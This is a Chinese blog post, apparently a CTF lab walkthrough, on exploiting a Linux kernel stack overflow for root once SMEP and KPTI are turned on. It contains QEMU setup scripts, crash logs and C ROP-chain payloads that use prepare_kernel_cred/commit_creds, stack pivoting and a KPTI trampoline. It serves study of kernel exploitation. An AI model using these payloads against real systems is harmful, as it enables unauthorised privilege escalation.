内核缓冲区溢出2--开启smep

admin 2021年11月19日15:05:03内核缓冲区溢出2--开启smep已关闭评论532 views字数 3683阅读12分16秒阅读模式

介绍

smep是在进入内核的时候用户态的代码不可执行,

通过设置CR4寄存器的第20位实现的。在启动时,它可以通过添加+smep-cpu选项来启用,通过添加nosmep-append`选项来禁用。

内核缓冲区溢出1的利用是让内核模块函数返回到用户的空间,这段空间布置了写好的shellcode。开启smep之后这种方法将不可行。

测试

修改run.sh添加smep保护之后内核缓冲区溢出1的exp将会失败

qemu-system-x86_64
-s
-m 128M
-cpu kvm64,+smep
-kernel vmlinuz
-initrd initramfs.cpio.gz
-hdb flag.txt
-snapshot
-nographic
-monitor /dev/null
-no-reboot
-append "console=ttyS0 nokaslr nopti nosmap quiet panic=1"

/ # ./exploit
[*] Saved state
[*] Opened device
[*] Leaked 160 bytes
[*] Cookie: 31a7d9e245f69600
[*] Prepared payload
[ 10.565921] unable to execute userspace code (SMEP?) (uid: 0)
[ 10.566294] BUG: unable to handle page fault for address: 0000000000401fd9
[ 10.566591] #PF: supervisor instruction fetch in kernel mode
[ 10.566884] #PF: error_code(0x0011) - permissions violation
[ 10.567371] PGD 5918067 P4D 5918067 PUD 5979067 PMD 5977067 PTE 7aa2025

对应出错地址为跳转到用户态代码的shellcode。类似NX,smep达到的效果就是shellcode不可执行。

内核缓冲区溢出2--开启smep

一种方法是用rop修改cr4,然后跳转到用户空间,构造rop链如下

payload[off++] = pop_rdi_ret; // return address
payload[off++] = 0x6f0;
payload[off++] = native_write_cr4; // native_write_cr4(0x6f0), effectively clear the 20th bit
payload[off++] = (unsigned long)escalate_privs;

但是实际上现在的内核版本不允许修改cr4,下面链接写的比较详细

https://patchwork.kernel.org/project/kernel-hardening/patch/20190220180934.GA46255@beast/

普通利用

不能执行shellcode需要使用rop执行想要的函数。实际调试过程中有些rop不能用,目前没有好的解决方案【待补充】。

作者提供了一些rop可以用。利用方式和x86下的基本一致

栈迁移

补充栈迁移,用mmap映射一段空间布置好获取权限的rop,使用rop控制rsp跳转到申请的空间执行前面布置的rop。

如图,需要给rop链中调用的函数预留空间,申请空间之后在第一次访问的时候才会把页面插入也表所以需要先随意填充一些数据。

fake_stack = mmap((void *)0x5b000000 - 0x1000, 0x2000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0);
unsigned off = 0x1000 / 8;
fake_stack[0] = 0xdead; // put something in the first page to prevent fault
fake_stack[off++] = 0x0; // dummy r12
fake_stack[off++] = 0x0; // dummy rbp
fake_stack[off++] = pop_rdi_ret;
···

内核缓冲区溢出2--开启smep

kpti保护

修改run.sh,开启kpti(关于kpti参考https://blog.csdn.net/pwl999/article/details/112686914)

qemu-system-x86_64
-s
-m 128M
-cpu kvm64,+smep
-kernel vmlinuz
-initrd initramfs.cpio.gz
-hdb flag.txt
-snapshot
-nographic
-monitor /dev/null
-no-reboot
-append "console=ttyS0 nokaslr kpti=1 nosmap quiet panic=1"

kpti是分离函数user-spacekernel-space全页表,而不是只使用一个集合,最直观的体现是之执行"swapgs;iret"指令不能返回到用户态。还需要设置cr3寄存器。

mov rdi, cr3
or rdi, 1000h
mov cr3, rdi

payload如下,返回用户态的部分在kpti_trampoline开始。

swapgs_restore_regs_and_return_to_usermode + 22作为kpti_trampoline的地址(对应指令为.text:FFFFFFFF81200F26 mov rdi, rsp)这段rop包含了两个多余的pop(需要在后面填充两个0),包含swapgs,修改cr3,iretq。

vmlinux没有函数名,需要找到rop的位置。可以通过查看符号表获得cat /proc/kallsyms |grep swapgs_restore_regs_and_return_to_usermode

```
unsigned n=50;
unsigned long payload[n];
unsigned off=16;
payload[off++]=cookie;
payload[off++]=0x0;
payload[off++]=0x0;
payload[off++]=0x0;
// payload[off++]=pop_rdi_ret;
// payload[off++]=0x0;
payload[off++] = pop_rdi_ret; // return address
payload[off++] = 0x0; // rdi <- 0
payload[off++] = prepare_kernel_cred; // prepare_kernel_cred(0)
payload[off++] = pop_rdx_ret;
payload[off++] = 0x8; // rdx <- 8
payload[off++] = cmp_rdx_jne_pop2_ret; // make sure JNE doesn't branch
payload[off++] = 0x0; // dummy rbx
payload[off++] = 0x0; // dummy rbp
payload[off++] = mov_rdi_rax_jne_pop2_ret; // rdi <- rax
payload[off++] = 0x0; // dummy rbx
payload[off++] = 0x0; // dummy rbp
// payload[off++] = commit_creds; // commit_creds(prepare_kernel_cred(0))

payload[off++] = commit_creds; // commit_creds(prepare_kernel_cred(0))
payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode + 22
payload[off++] = 0x0; // dummy rax
payload[off++] = 0x0; // dummy rdi
payload[off++] = user_rip;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;


payload[off++]=mov_esp_pop2_ret;

```

注意:开启了kpti实际上栈迁移到用户mmap的空间也是可以访问的(按照kpti的说法这段空间是不是不能访问)。【待补充】

在开启KPTI内核,提权返回到用户态(iretq/sysret)之前如果不设置CR3寄存器的值,就会导致进程找不到当前程序的正确页表,引发段错误,程序退出。

相关推荐: 内网渗透之域内密码抓取方法总结

一、mimikatz简介 mimikatz是法国人Gentil Kiwi编写的一款windows平台下的神器,它具备很多功能,其中最亮的功能是直接从lsass.exe进程里获取windows处于active状态账号的明文密码或hash散列值。 mimikatz…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年11月19日15:05:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内核缓冲区溢出2--开启smephttps://cn-sec.com/archives/632596.html